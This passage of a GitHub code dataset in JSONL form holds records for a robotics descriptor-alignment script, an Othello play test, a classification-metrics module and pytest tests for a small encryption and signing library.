and estimate a point where they intersect\n        pbb = trimesh.PointCloud(pf_pcd).bounding_box_oriented\n        cbb = trimesh.PointCloud(cf_pcd).bounding_box_oriented\n\n        pbb_pts = pbb.sample_volume(1000)\n        cbb_pts = cbb.sample_volume(1000)\n\n        pbb_mask = pbb.contains(cbb_pts)\n        cbb_mask = cbb.contains(pbb_pts)\n\n        bb_pts = np.concatenate([pbb_pts[cbb_mask], cbb_pts[pbb_mask]], axis=0)\n\n        if bb_pts.shape[0] > 4:\n            fine_grained_bb = trimesh.PointCloud(bb_pts).bounding_box_oriented.to_mesh()\n\n            intersection_trans = fine_grained_bb.centroid\n\n            interaction_noise = None\n            if add_noise:\n                interaction_noise = np.random.normal(scale=interaction_pt_noise_std)\n                log_warn(f'Adding interaction noise! Value: {interaction_noise}')\n                intersection_trans = copy.deepcopy(intersection_trans) + interaction_noise\n\n            if use_keypoint_offset:\n                intersection_trans = keypoint_offset(cf_pcd, **keypoint_offset_params)\n\n            if visualize_bounding_box_intersection:\n                util.meshcat_pcd_show(mc_vis, bb_pts, color=[0, 255, 0], name=f'scene/{i}/final_pcds_bb_pts_{i}')\n                util.meshcat_pcd_show(mc_vis, pf_pcd, color=[255, 0, 0], name=f'scene/{i}/final_pcds_parent_{i}')\n                util.meshcat_pcd_show(mc_vis, cf_pcd, color=[0, 0, 255], name=f'scene/{i}/final_pcds_child_{i}')\n                util.meshcat_trimesh_show(mc_vis, f'scene/{i}/final_bb_pts_bb_{i}', fine_grained_bb, opacity=0.4)\n\n                sph = trimesh.creation.uv_sphere(0.005).apply_translation(intersection_trans)\n                util.meshcat_trimesh_show(mc_vis, f'scene/{i}/intersection_trans', sph, (255, 0, 0))\n\n            delta = 0.0025\n            if manual_kp_adjustment:\n                log_info(f'Manual keypoint adjustment for reference query points')\n                kp_trans = copy.deepcopy(intersection_trans)\n                kp_trans_original = copy.deepcopy(kp_trans)\n                while True:\n                    adj_key = input('Press \"w/s to adjust x, a/d to adjust y, and q/e to adjust z\\nPress z to restart\\nPress x to exit \\n')\n\n                    if adj_key not in ['w', 's', 'a', 'd', 'q', 'e', 'z', 'x']:\n                        log_info(f'Unrecognized key: {adj_key}')\n                        continue\n\n                    if adj_key == 'x':\n                        break\n                \n                    if adj_key == 'z':\n                        kp_trans = copy.deepcopy(kp_trans_original)\n                    \n                    adj_x = 0.0 if adj_key not in ['w', 's'] else delta\n                    adj_x = -1.0 * adj_x if adj_key == 'w' else adj_x\n\n                    adj_y = 0.0 if adj_key not in ['a', 'd'] else delta\n                    adj_y = -1.0 * adj_y if adj_key == 'a' else adj_y\n\n                    adj_z = 0.0 if adj_key not in ['q', 'e'] else delta\n                    adj_z = -1.0 * adj_z if adj_key == 'q' else adj_z\n                \n                    adj_vec = np.array([adj_x, adj_y, adj_z])\n\n                    kp_trans = kp_trans + adj_vec\n                    sph = trimesh.creation.uv_sphere(0.005).apply_translation(kp_trans)\n                    util.meshcat_trimesh_show(mc_vis, f'scene/{i}/keypoint_trans', sph, (0, 255, 0))\n            \n                intersection_trans = kp_trans\n\n            trans_list.append(intersection_trans)\n\n            # translate the query points to this position\n            demo_parent_qp = parent_query_points + intersection_trans\n            demo_child_qp = child_query_points + intersection_trans\n\n            pc_demo_dict['parent']['query_pts'].append(demo_parent_qp)\n            pc_demo_dict['child']['query_pts'].append(demo_child_qp)\n\n            valid_targets.append(i)\n\n            if visualize_bounding_box_intersection:\n                util.meshcat_pcd_show(mc_vis, demo_parent_qp, color=[255, 255, 0], name=f'scene/{i}/translate_parent_qp_{i}')\n                util.meshcat_pcd_show(mc_vis, demo_child_qp, color=[0, 255, 255], name=f'scene/{i}/translate_child_qp_{i}')\n\n        else:\n            pc_demo_dict['parent']['query_pts'].append(None)\n            pc_demo_dict['child']['query_pts'].append(None)\n            trans_list.append(None)\n            log_warn(f'No bounding box intersection for demo number: {i}')\n\n    if visualize:\n        parent_optimizer.setup_meshcat(mc_vis)\n        child_optimizer.setup_meshcat(mc_vis)\n    parent_target_desc_list = []\n    child_target_desc_list = []\n\n    if add_noise:\n        valid_targets = [random.sample(valid_targets, 1)[0]]  # cycle through the demos for the noise experiment\n    else:\n        if manual_target_idx < 0:\n            valid_targets = [0]  # Just use the first demonstration (arbitray choice!)\n        else:\n            assert manual_target_idx < len(valid_targets), 'Manually specified demonstration index too large for number of (valid) demos!'\n            valid_targets = [manual_target_idx]\n\n    parent_descriptor_variance_list = []\n    child_descriptor_variance_list = []\n\n    # loop through all as the targets\n    for target_idx in valid_targets:\n        # target_idx = valid_targets[-2]\n        parent_pcd_target = pc_demo_dict['parent']['demo_final_pcds'][target_idx]\n        child_pcd_target = pc_demo_dict['child']['demo_final_pcds'][target_idx]\n\n        #########################################################################\n\n        parent_pcd_target, child_pcd_target = filter_parent_child_pcd(parent_pcd_target, child_pcd_target)\n\n        #########################################################################\n\n        # qp == query points\n        # set up torch tensors with query points and initial positions\n        qp_target = torch.from_numpy(pc_demo_dict['parent']['query_pts'][target_idx]).float().reshape((1, -1, 3)).cuda()\n        qp_target_frame_pose = np.eye(4); qp_target_frame_pose[:-1, -1] = trans_list[target_idx]\n        qp_target_np = qp_target.detach().cpu().numpy().reshape(-1, 3)\n\n        qp_target_c = torch.from_numpy(pc_demo_dict['child']['query_pts'][target_idx]).float().reshape((1, -1, 3)).cuda()\n        qp_target_c_frame_pose = np.eye(4); qp_target_c_frame_pose[:-1, -1] = trans_list[target_idx]\n        qp_target_c_np = qp_target_c.detach().cpu().numpy().reshape(-1, 3)\n\n        # get target descriptors that correspond to these query points\n        parent_target_desc = parent_optimizer.get_pose_descriptor(parent_pcd_target, qp_target_frame_pose)\n        parent_target_desc_orig = parent_target_desc.clone().detach()\n\n        child_target_desc = child_optimizer.get_pose_descriptor(child_pcd_target, qp_target_c_frame_pose)\n        child_target_desc_orig = child_target_desc.clone().detach()\n\n        if skip_alignment:\n            parent_target_desc_list.append(parent_target_desc.detach())\n            child_target_desc_list.append(child_target_desc.detach())\n            log_warn('\\n\\nSkipping alignment between demos! Just using the pose descriptor interaction point\\n\\n')\n            continue\n\n        sz = parent_target_desc_orig.size()\n\n        # prepare list of final descriptors to average (updates on each iter based on if new loss is better than old loss)\n        parent_last_outdesc = [None] * len(pc_demo_dict['parent']['demo_final_pcds'])\n        parent_last_outloss = [np.inf] * len(pc_demo_dict['parent']['demo_final_pcds'])\n\n        child_last_outdesc = [None] * len(pc_demo_dict['child']['demo_final_pcds'])\n        child_last_outloss = [np.inf] * len(pc_demo_dict['child']['demo_final_pcds'])\n    \n        if visualize:\n            util.meshcat_pcd_show(mc_vis, parent_pcd_target, color=[255, 0, 0], name=f'scene/{target_idx}/final_pcds_parent_{target_idx}')\n            util.meshcat_pcd_show(mc_vis, child_pcd_target, color=[0, 0, 255], name=f'scene/{target_idx}/final_pcds_child_{target_idx}')\n            util.meshcat_pcd_show(mc_vis, qp_target_np, color=[0, 0, 0], name='scene/qp_target')\n            util.meshcat_frame_show(mc_vis, 'scene/qp_target_frame', qp_target_frame_pose)\n            util.meshcat_pcd_show(mc_vis, qp_target_c_np, color=[50, 0, 50], name='scene/qp_target_c')\n            util.meshcat_frame_show(mc_vis, 'scene/qp_target_c_frame', qp_target_c_frame_pose)\n\n        if n_demos == 1:\n            parent_target_desc_list.append(parent_target_desc)\n            child_target_desc_list.append(child_target_desc)\n            log_warn('\\n\\nUsing just 1 demo! Breaking before alignment!\\n\\n')\n            break\n\n        if skip_alignment:\n            parent_target_desc_list = parent_target_desc_list[:n_demos]\n            child_target_desc_list = child_target_desc_list[:n_demos]\n            log_warn('\\n\\nskip_alignment set to True! Breaking before alignment!\\n\\n')\n            break\n\n        for it in range(alignment_rounds):\n            \n            for idx in demo_idxs:\n                print(f'\\n\\nAligning demo number: {idx} to target demo number: {target_idx}\\n\\n')\n                parent_pcd = pc_demo_dict['parent']['demo_final_pcds'][idx]\n                child_pcd = pc_demo_dict['child']['demo_final_pcds'][idx]\n\n                parent_pcd, child_pcd = filter_parent_child_pcd(parent_pcd, child_pcd)\n\n                if idx == target_idx:\n                    if it < 1:\n                        parent_last_outdesc[idx] = parent_target_desc_orig\n                        child_last_outdesc[idx] = child_target_desc_orig\n                        continue\n                    else:\n                        print('Updating original target idx')\n                        pass\n\n                if pc_reference == 'parent':\n                    # optimize each\n                    parent_out_tf, parent_out_best_idx, parent_out_losses, parent_out_descs = parent_optimizer.optimize_transform_implicit(parent_pcd, target_act_hat=parent_target_desc, return_score_list=True, return_final_desc=True, visualize=visualize)\n\n                    if parent_out_losses[parent_out_best_idx] < parent_last_outloss[idx]:\n                        print(f'Parent Target: {target_idx}, Updating best loss {idx}: last: {parent_last_outloss[idx]:.5f}, new: {parent_out_losses[parent_out_best_idx]:.5f}')\n                        parent_last_outloss[idx] = parent_out_losses[parent_out_best_idx]\n                        parent_last_outdesc[idx] = parent_out_descs[parent_out_best_idx].view(sz)\n\n                        parent_out_tf_best = parent_out_tf[parent_out_best_idx]\n                        parent_out_qp = util.transform_pcd(parent_query_points, parent_out_tf_best)\n\n                        child_out_desc = child_optimizer.get_pose_descriptor(child_pcd, parent_out_tf_best).detach()\n                        child_last_outdesc[idx] = child_out_desc\n\n                        out_child_sanity = child_optimizer.optimize_transform_implicit(child_pcd, target_act_hat=child_target_desc, return_score_list=True, return_final_desc=True, visualize=visualize)\n\n                        if visualize:\n                            util.meshcat_frame_show(mc_vis, f'scene/out_{idx}_tf_best_parent', parent_out_tf_best)\n                            util.meshcat_pcd_show(mc_vis, parent_out_qp, color=[255, 0, 255], name=f'scene/out_{idx}_qp_parent')\n                else:\n                    # optimize each\n                    child_out_tf, child_out_best_idx, child_out_losses, child_out_descs = child_optimizer.optimize_transform_implicit(child_pcd, target_act_hat=child_target_desc, return_score_list=True, return_final_desc=True, visualize=visualize)\n\n                    if child_out_losses[child_out_best_idx] < child_last_outloss[idx]:\n                        print(f'Parent Target: {target_idx}, Updating best loss {idx}: last: {child_last_outloss[idx]:.5f}, new: {child_out_losses[child_out_best_idx]:.5f}')\n                        child_last_outloss[idx] = child_out_losses[child_out_best_idx]\n                        child_last_outdesc[idx] = child_out_descs[child_out_best_idx].view(sz)\n\n                        child_out_tf_best = child_out_tf[child_out_best_idx]\n                        child_out_qp = util.transform_pcd(child_query_points, child_out_tf_best)\n\n                        parent_out_desc = parent_optimizer.get_pose_descriptor(parent_pcd, child_out_tf_best).detach()\n                        parent_last_outdesc[idx] = parent_out_desc\n\n                        out_parent_sanity = parent_optimizer.optimize_transform_implicit(parent_pcd, target_act_hat=parent_target_desc, return_score_list=True, return_final_desc=True, visualize=visualize)\n\n                        if visualize:\n                            util.meshcat_frame_show(mc_vis, f'scene/out_{idx}_tf_best_child', child_out_tf_best)\n                            util.meshcat_pcd_show(mc_vis, child_out_qp, color=[255, 0, 255], name=f'scene/out_{idx}_qp_child')\n\n            # get new target descriptor\n            if it < 1:\n                parent_target_stack = torch.stack([parent_target_desc, parent_target_desc_orig] + parent_last_outdesc, 0)\n                child_target_stack = torch.stack([child_target_desc, child_target_desc_orig] + child_last_outdesc, 0)\n            else:\n                parent_target_stack = torch.stack([parent_target_desc] + parent_last_outdesc, 0)\n                child_target_stack = torch.stack([child_target_desc] + child_last_outdesc, 0)\n\n            parent_target_desc = torch.mean(parent_target_stack, 0).detach()\n            child_target_desc = torch.mean(child_target_stack, 0).detach()\n\n            parent_var = torch.var(parent_target_stack, 0).mean().detach().item()\n            child_var = torch.var(child_target_stack, 0).mean().detach().item()\n            parent_descriptor_variance_list.append(parent_var)\n            child_descriptor_variance_list.append(child_var)\n\n        parent_target_desc_list.append(parent_target_desc)\n        child_target_desc_list.append(child_target_desc)\n    \n    # take an average over the full set to get the final target descriptors for parent and child objects\n    parent_overall_target_desc = torch.mean(torch.stack(parent_target_desc_list, 0), 0)\n    child_overall_target_desc = torch.mean(torch.stack(child_target_desc_list, 0), 0)\n\n    parent_descriptor_variance = np.asarray(parent_descriptor_variance_list)\n    child_descriptor_variance = np.asarray(child_descriptor_variance_list)\n\n    print(f'Done! Saving to {target_desc_fname}')\n    np.savez(\n        target_desc_fname,\n        parent_overall_target_desc=parent_overall_target_desc.detach().cpu().numpy(),\n        child_overall_target_desc=child_overall_target_desc.detach().cpu().numpy(),\n        parent_query_points=parent_query_points,\n        parent_descriptor_variance=parent_descriptor_variance,\n        child_descriptor_variance=child_descriptor_variance,\n        add_noise=add_noise,\n        interaction_pt_noise_std=interaction_pt_noise_std,\n        interaction_pt_noise_value=interaction_noise\n    )\n","repo_name":"anthonysimeonov/relational_ndf","sub_path":"src/rndf_robot/eval/relation_tools/multi_ndf.py","file_name":"multi_ndf.py","file_ext":"py","file_size_in_byte":25096,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"21"}
+{"seq_id":"34279603743","text":"from play import play\n\n\ndef test_play():\n    message = {\n        \"response\": \"move\",\n        \"move\": 26,\n        \"message\": 'message'\n    }\n    msg = {\n        'request': 'play',\n        'lives': 3,\n        'errors': [],\n        'state': {\n            'players': ['ali', 'mehdi'],\n            'current': 0,\n            'board': [[28, 35], [27, 36]]}\n    }\n\n    play(msg, 'minimax')\n    play(msg, 'random')\n","repo_name":"mehdiatigui/othello-IA","sub_path":"tests/test_play.py","file_name":"test_play.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21117040999","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\ndef draw_heatmap(matrix):\n    \"\"\"\n    Draw the heatmap of the matrix.\n    \"\"\"\n    plt.style.use(\"ggplot\")\n    sns.heatmap(matrix)\n    plt.show()\n\n\ndef print_confusion_matrix(matrix, label_dictionary):\n    \"\"\"\n    Print out the confusion matrix formatted with labels\n    \"\"\"\n    values = \"\\t\".join(label_dictionary.values())\n    print(f\"*\\t{values}\")\n    for i in label_dictionary:\n        row = \"\\t\".join([str(col) for col in matrix[i]])\n        print(f\"{label_dictionary[i]}\\t{row}\")\n\n\ndef print_metrics(stats):\n    \"\"\"\n    Print out the the Precision, Recall and F1 of the stats\n    \"\"\"\n    print(\"Category\\tPrecision\\tRecall\\tF1\")\n    for name, stat in stats.items():\n        print(f\"{name}\\t{round(stat['precision']*100, 2)}%\\t{round(stat['recall']*100, 2)}%\\t\"\n              f\"{round(stat['f1']*100, 2)}%\")\n\n\ndef calculate_confusion_matrix(predicted, label, label_dictionary):\n    confusion_matrix = np.zeros((len(label_dictionary), len(label_dictionary)))\n    for pred, lab in zip(predicted, label):\n        for p, l in zip(pred, lab):\n            confusion_matrix[p][l] += 1\n    return confusion_matrix\n\n\ndef calculate_fscore_from_metrics(stats):\n    fscore = lambda x: 0 if x[\"precision\"] + x[\"recall\"] == 0 \\\n                         else 2 * x[\"precision\"] * x[\"recall\"] / (x[\"precision\"] + x[\"recall\"])\n    for _, stat in stats.items():\n        stat[\"precision\"] = 0 if stat[\"tp\"] + stat[\"fp\"] == 0 else stat[\"tp\"] / (stat[\"tp\"] + stat[\"fp\"])\n        stat[\"recall\"] = 0 if stat[\"tp\"] + stat[\"fn\"] == 0 else stat[\"tp\"] / (stat[\"tp\"] + stat[\"fn\"])\n        stat[\"f1\"] = fscore(stat)\n    stats[\"MICRO AVG\"] = {\n        \"precision\": sum([stat[\"tp\"] for (name, stat) in stats.items()\n                          if name not in [\"MICRO AVG\", \"MACRO AVG\"]]) /\n                     sum([stat[\"tp\"] + stat[\"fp\"] for (name, stat) in stats.items()\n                          if name not in [\"MICRO AVG\", \"MACRO AVG\"]]),\n        \"recall\": sum([stat[\"tp\"] for (name, stat) in stats.items()\n                       if name not in [\"MICRO AVG\", \"MACRO AVG\"]]) /\n                  sum([stat[\"tp\"] + stat[\"fn\"] for (name, stat) in stats.items()\n                       if name not in [\"MICRO AVG\", \"MACRO AVG\"]])}\n    stats[\"MICRO AVG\"][\"f1\"] = fscore(stats[\"MICRO AVG\"])\n    stats[\"MACRO AVG\"] = {\n        \"precision\": np.mean([stat[\"precision\"] for (name, stat) in stats.items() if name not in [\"MICRO AVG\", \"MACRO AVG\"]]),\n        \"recall\": np.mean([stat[\"recall\"] for (name, stat) in stats.items() if name not in [\"MICRO AVG\", \"MACRO AVG\"]])\n    }\n    stats[\"MACRO AVG\"][\"f1\"] = fscore(stats[\"MACRO AVG\"])\n    return stats\n\n\ndef calculate_metrics_from_confusion_matrix(confusion_matrix, label_dictionary):\n    stats = {k: {'tp': 0, 'fp': 0, 'fn': 0} for k in label_dictionary.values()}\n    for i, row in enumerate(confusion_matrix):\n        stats[label_dictionary[i]]['tp'] = row[i]\n        stats[label_dictionary[i]]['fp'] = sum(row) - row[i]\n        for j, col in enumerate(row):\n            if i != j:\n                stats[label_dictionary[j]][\"fn\"] += col\n    return stats\n\n\ndef calculate_metrics_from_data(predicted, label, label_dictionary):\n    stats = {k: {'tp': 0, 'fp': 0, 'fn': 0} for k in label_dictionary.values()}\n    for pred, lab in zip(predicted, label):\n        for p, l in zip(pred, lab):\n            if p == l:\n                stats[label_dictionary][l]['tp'] += 1\n            else:\n                stats[label_dictionary][p]['fp'] += 1\n                stats[label_dictionary][l]['fn'] += 1\n    return stats\n\n\ndef calculate_fscore(label_dictionary, **kwargs):\n    if \"label\" in kwargs and \"predicted\" in kwargs:\n        stats = calculate_metrics_from_data(kwargs[\"predicted\"], kwargs[\"label\"], label_dictionary)\n    elif \"confusion_matrix\" in kwargs:\n        stats = calculate_metrics_from_confusion_matrix(kwargs[\"confusion_matrix\"], label_dictionary)\n    else:\n        raise ValueError(\"The calculate_fscore function expects label and predicted data or \"\n                         \"confusion matrix as parameter.\"\n                         \"\\nExample: calculate_fscore(label_dictionary, confusion_matrix=confusion_matrix)\"\n                         \"\\nor: calculate_fscore(label_dictionary, label=label, predicted=predicted)\")\n    return calculate_fscore_from_metrics(stats)\n\n\ndef calculate_and_print_metrics(predicted, label, label_dictionary, draw_matrix):\n    confusion_matrix = calculate_confusion_matrix(predicted, label, label_dictionary)\n    stats = calculate_fscore(label_dictionary, confusion_matrix=confusion_matrix)\n    if draw_matrix:\n        draw_heatmap(confusion_matrix)\n    else:\n        print_confusion_matrix(confusion_matrix, label_dictionary)\n    print_metrics(stats)\n    return confusion_matrix, stats\n","repo_name":"GKingA/tuw-inf-germeval2021","sub_path":"metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":4810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10415150468","text":"import pytest\nfrom unittest.mock import patch\nfrom io import BytesIO\nimport os\nimport tempfile\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.exceptions import InvalidSignature\nimport nacl.utils\nimport nacl.secret\nimport nacl.pwhash\nfrom cryp_to_go import core\n\nSIZE_BUFFER_A = 1200\n\n\n@pytest.fixture\ndef content_a():\n    return 'IDDQD\\n'.encode() * 200\n\n\n@pytest.fixture\ndef buffer_a(content_a):\n    content = content_a\n    buffer = BytesIO()\n    buffer.write(content)\n    total_size = buffer.tell()\n    assert total_size == SIZE_BUFFER_A\n    return buffer\n\n\ndef test_get_unenc_block_size():\n    # if block_size == chunk size, it must be chunk_size - 40\n    assert core.get_unenc_block_size(core.CHUNK_SIZE) == core.CHUNK_SIZE - 40\n    # try chunk size 100 and block size 2000. That's 20 blocks of 60 unencrypted\n    with patch('cryp_to_go.core.CHUNK_SIZE', 100):\n        assert core.get_unenc_block_size(2000) == SIZE_BUFFER_A\n    # impossible task: read block size not alignable with chunk size\n    with patch('cryp_to_go.core.CHUNK_SIZE', 100):\n        with pytest.raises(ValueError):\n            core.get_unenc_block_size(150)\n\n\ndef test_hexlify():\n    assert b'foo\\0' == core.unhexlify(core.hexlify(b'foo\\0'))\n    assert 'abacadae' == core.hexlify(core.unhexlify('abacadae'))\n\n\ndef test_get_chunk_nonce():\n    base = nacl.utils.random(nacl.secret.SecretBox.NONCE_SIZE)\n    assert core._get_chunk_nonce(base, 0) != core._get_chunk_nonce(base, 1)\n    assert core._get_chunk_nonce(base, 0) == core._get_chunk_nonce(base, 0)\n    assert core._get_chunk_nonce(base, 0) == base\n    assert core._get_chunk_nonce(base, 1) != base\n    assert len(core._get_chunk_nonce(base, 1)) == len(base)\n\n\ndef test_read_in_chunks(content_a, buffer_a):\n    buffer = buffer_a\n    content = content_a\n    # read with different chunk sizes\n    for chunk_size in [None, 10, 100, 10000]:\n        buffer.seek(0)\n        chunks = [x for x in core._read_in_chunks(buffer, chunk_size=chunk_size)]\n        assert all(len(x) == chunk_size for x in chunks[:-1])\n        assert sum(len(x) for x in chunks) == SIZE_BUFFER_A\n        assert b''.join(chunks) == content\n    # try different read_total\n    buffer.seek(0)\n    chunks = [x for x in core._read_in_chunks(buffer, chunk_size=100, read_total=80)]\n    assert len(chunks) == 1\n    assert len(chunks[0]) == 80\n    assert buffer.tell() == 80\n    assert b''.join(chunks) == content[:80]\n    buffer.seek(0)\n    chunks = [x for x in core._read_in_chunks(buffer, chunk_size=100, read_total=250)]\n    assert len(chunks) == 3\n    assert len(chunks[0]) == 100\n    assert len(chunks[1]) == 100\n    assert len(chunks[2]) == 50\n    assert buffer.tell() == 250\n    assert b''.join(chunks) == content[:250]\n    buffer.seek(0)\n    chunks = [x for x in core._read_in_chunks(buffer, chunk_size=10000, read_total=250)]\n    assert len(chunks) == 1\n    assert len(chunks[0]) == 250\n    assert buffer.tell() == 250\n    assert b''.join(chunks) == content[:250]\n\n\ndef test_sign_verify(content_a, buffer_a):\n    content, buffer = content_a, buffer_a\n    # succeed unlimited read\n    buffer.seek(0)\n    key_sign = core.CryptoHandler.create_random(enable_signature_key=True).key_sign\n    signature = core.sign_stream(key_sign, buffer)\n    buffer.seek(0)\n    core.verify_stream(key_sign, buffer, signature)\n    # repeat, should create same signature\n    buffer.seek(0)\n    assert signature == core.sign_stream(key_sign, buffer)\n    # try different sign key\n    buffer.seek(0)\n    sign_key_2 = core.CryptoHandler.create_random(enable_signature_key=True).key_sign\n    signature_2 = core.sign_stream(sign_key_2, buffer)\n    assert signature_2 != signature\n    # use wrong signature\n    buffer.seek(0)\n    assert not core.verify_stream(key_sign, buffer, signature_2)\n    buffer.seek(0)\n    assert not core.verify_stream(sign_key_2, buffer, signature)\n    # succeed limited read\n    buffer.seek(0)\n    signature_3 = core.sign_stream(key_sign, buffer, read_total=600)\n    buffer.seek(0)\n    core.verify_stream(key_sign, buffer, signature_3, read_total=600)\n    # check if signature differs\n    assert signature_3 != signature\n    buffer.seek(0)\n    # read wrong size -> fail\n    assert not core.verify_stream(key_sign, buffer, signature_3, read_total=599)\n\n\ndef _touch_temp_file():\n    fd, path = tempfile.mkstemp()\n    os.close(fd)\n    return path\n\n\ndef test_inflate_string():\n    test_str = 'abcdefgh'\n    inflated = core.inflate_string(test_str)\n    assert inflated[:8] == b'abcdefgh'\n    assert inflated[8] == 0\n    assert len(inflated) > 30\n    test_str = 'abcdefgh' * 10\n    inflated = core.inflate_string(test_str)\n    assert inflated[:80] == b'abcdefgh' * 10\n    assert inflated[80] == 0\n    assert len(inflated) > 90\n\n\ndef test_deflate_string():\n    test_str = 'abcdefgh'\n    inflated = core.inflate_string(test_str)\n    assert core.deflate_string(inflated) == test_str\n    test_str = 'abcdefgh' * 10\n    inflated = core.inflate_string(test_str)\n    assert core.deflate_string(inflated) == test_str\n\n\n@pytest.fixture()\ndef path_asym_keys():\n    # generate a keypair\n    asym_key = rsa.generate_private_key(\n        backend=default_backend(),\n        public_exponent=65537,\n        key_size=2048\n    )\n    path_private_key = _touch_temp_file()\n    with open(path_private_key, 'wb') as f_out:\n        f_out.write(\n            asym_key.private_bytes(\n                serialization.Encoding.PEM,\n                serialization.PrivateFormat.PKCS8,\n                serialization.NoEncryption()\n            )\n        )\n    path_public_key = _touch_temp_file()\n    with open(path_public_key, 'wb') as f_out:\n        f_out.write(\n            asym_key.public_key().public_bytes(\n                serialization.Encoding.OpenSSH,\n                serialization.PublicFormat.OpenSSH\n            )\n        )\n    return path_private_key, path_public_key\n\n\nclass TestAsymKey:\n\n    def test_constructors(self, path_asym_keys):\n        path_privkey, path_pubkey = path_asym_keys\n        privkey = core.AsymKey.privkey_from_pemfile(path_privkey)\n        pubkey = core.AsymKey.from_pubkey_file(path_pubkey)\n        assert privkey.key is not None\n        assert pubkey.key is not None\n        with open(path_pubkey, 'r') as f_in:\n            pubkey_2 = core.AsymKey.from_pubkey_string(f_in.read())\n        assert pubkey_2.key.public_numbers() == pubkey.key.public_numbers()\n        assert pubkey.key.public_numbers() == privkey.key.public_key().public_numbers()\n\n    def test_encrypt_decrypt(self, path_asym_keys):\n        path_privkey, path_pubkey = path_asym_keys\n        privkey = core.AsymKey.privkey_from_pemfile(path_privkey)\n        pubkey = core.AsymKey.from_pubkey_file(path_pubkey)\n        assert privkey.decrypt(pubkey.encrypt(b'foobar')) == b'foobar'\n\n\nclass TestDerivedKeySetup:\n\n    def test_general(self):\n        dks = core.KeyDerivationSetup.create_default(enable_signature_key=True)\n        # override defaults for faster tests\n        dks.ops = nacl.pwhash.argon2i.OPSLIMIT_MIN\n        dks.mem = nacl.pwhash.argon2i.MEMLIMIT_MIN\n        password_1 = b'supersecret_1'\n        password_2 = b'supersecret_2'\n        derived_keys = dks.generate_keys(password_1)\n        derived_keys_1b = dks.generate_keys(password_1)\n        assert derived_keys.key_enc == derived_keys_1b.key_enc\n        assert derived_keys.key_sign == derived_keys_1b.key_sign\n        assert dks.to_dict() == core.KeyDerivationSetup.from_dict(dks.to_dict()).to_dict()\n        derived_keys_2 = dks.generate_keys(password_2)\n        assert derived_keys_2.key_enc != derived_keys.key_enc\n        assert derived_keys_2.key_sign != derived_keys.key_sign\n        assert derived_keys.key_enc != derived_keys.key_sign\n        # create with a different salt\n        dks2 = core.KeyDerivationSetup.create_default(enable_signature_key=False)\n        # override defaults for faster tests\n        dks2.ops = nacl.pwhash.argon2i.OPSLIMIT_MIN\n        dks2.mem = nacl.pwhash.argon2i.MEMLIMIT_MIN\n        assert dks2.generate_keys(password_1).key_enc != derived_keys.key_enc\n        # serialize and deserialize\n        dks3 = core.KeyDerivationSetup.from_dict(dks.to_dict())\n        assert dks3.generate_keys(password_1).key_enc == derived_keys.key_enc\n\n\nclass TestCryptoHandler:\n\n    def test_init(self):\n        # no signature key\n        handler = core.CryptoHandler.create_random(enable_signature_key=False)\n        assert len(handler.key_enc)\n        assert handler.key_sign is None\n        # with signature key\n        handler = core.CryptoHandler.create_random(enable_signature_key=True)\n        assert len(handler.key_enc)\n        assert handler.key_sign is not None and len(handler.key_sign)\n        handler2 = core.CryptoHandler(handler.key_enc, handler.key_sign)\n        assert handler.key_enc == handler2.key_enc\n        assert handler.key_sign == handler2.key_sign\n\n    def test_de_encrypt(self, buffer_a, content_a):\n        # no signature key\n        handler = core.CryptoHandler.create_random(enable_signature_key=False)\n        buffer_a.seek(0)\n        buffer_out = BytesIO()\n        for chunk in handler.encrypt_stream(buffer_a):\n            buffer_out.write(chunk)\n        buffer_out.seek(0)\n        assert b''.join(handler.decrypt_stream(buffer_out)) == content_a\n        assert handler.signature is None\n        # use signature key\n        buffer_a.seek(0)\n        buffer_out = BytesIO()\n        for chunk in handler.encrypt_stream(buffer_a):\n            buffer_out.write(chunk)\n        buffer_out.seek(0)\n        assert b''.join(handler.decrypt_stream(buffer_out)) == content_a\n        assert handler.signature is None\n        # create signature\n        buffer_a.seek(0)\n        buffer_out = BytesIO()\n        with handler.create_signature():\n            for chunk in handler.encrypt_stream(buffer_a):\n                buffer_out.write(chunk)\n        buffer_out.seek(0)\n        assert b''.join(handler.decrypt_stream(buffer_out)) == content_a\n        assert handler.signature is None\n\n    def test_signature(self, buffer_a, content_a):\n        # no signature key\n        handler = core.CryptoHandler.create_random(enable_signature_key=False)\n        buffer_a.seek(0)\n        buffer_out = BytesIO()\n        with handler.create_signature():\n            for chunk in handler.encrypt_stream(buffer_a):\n                buffer_out.write(chunk)\n        signature = handler.signature\n        assert signature is None\n        # use signature key\n        handler = core.CryptoHandler.create_random(enable_signature_key=True)\n        buffer_a.seek(0)\n        buffer_out_1 = BytesIO()\n        with handler.create_signature():\n            for chunk in handler.encrypt_stream(buffer_a):\n                buffer_out_1.write(chunk)\n        signature_1 = handler.signature\n        assert signature_1 is not None\n        buffer_a.seek(0)\n        buffer_out_2 = BytesIO()\n        with handler.create_signature():\n            for chunk in handler.encrypt_stream(buffer_a, read_total=SIZE_BUFFER_A - 100):\n                buffer_out_2.write(chunk)\n        signature_2 = handler.signature\n        assert signature_2 is not None\n        assert signature_1 != signature_2\n        with handler.verify_signature(signature_1):\n            buffer_out_1.seek(0)\n            decrypted_1 = b''.join(handler.decrypt_stream(buffer_out_1))\n        assert decrypted_1 == content_a\n        with handler.verify_signature(signature_2):\n            buffer_out_2.seek(0)\n            decrypted_2 = b''.join(handler.decrypt_stream(buffer_out_2))\n        assert decrypted_2 == content_a[:SIZE_BUFFER_A - 100]\n        with pytest.raises(InvalidSignature):\n            # wrong signature\n            with handler.verify_signature(signature_1):\n                buffer_out_2.seek(0)\n                b''.join(handler.decrypt_stream(buffer_out_2))\n\n    def test_decrypt_info(self, content_a, buffer_a, path_asym_keys):\n        privkey = core.AsymKey.privkey_from_pemfile(path_asym_keys[0])\n        pubkey = core.AsymKey.from_pubkey_file(path_asym_keys[1])\n        # no signature key\n        handler = core.CryptoHandler.create_random(enable_signature_key=False)\n        buffer_a.seek(0)\n        buffer_out = BytesIO()\n        with handler.create_signature():\n            for chunk in handler.encrypt_stream(buffer_a):\n           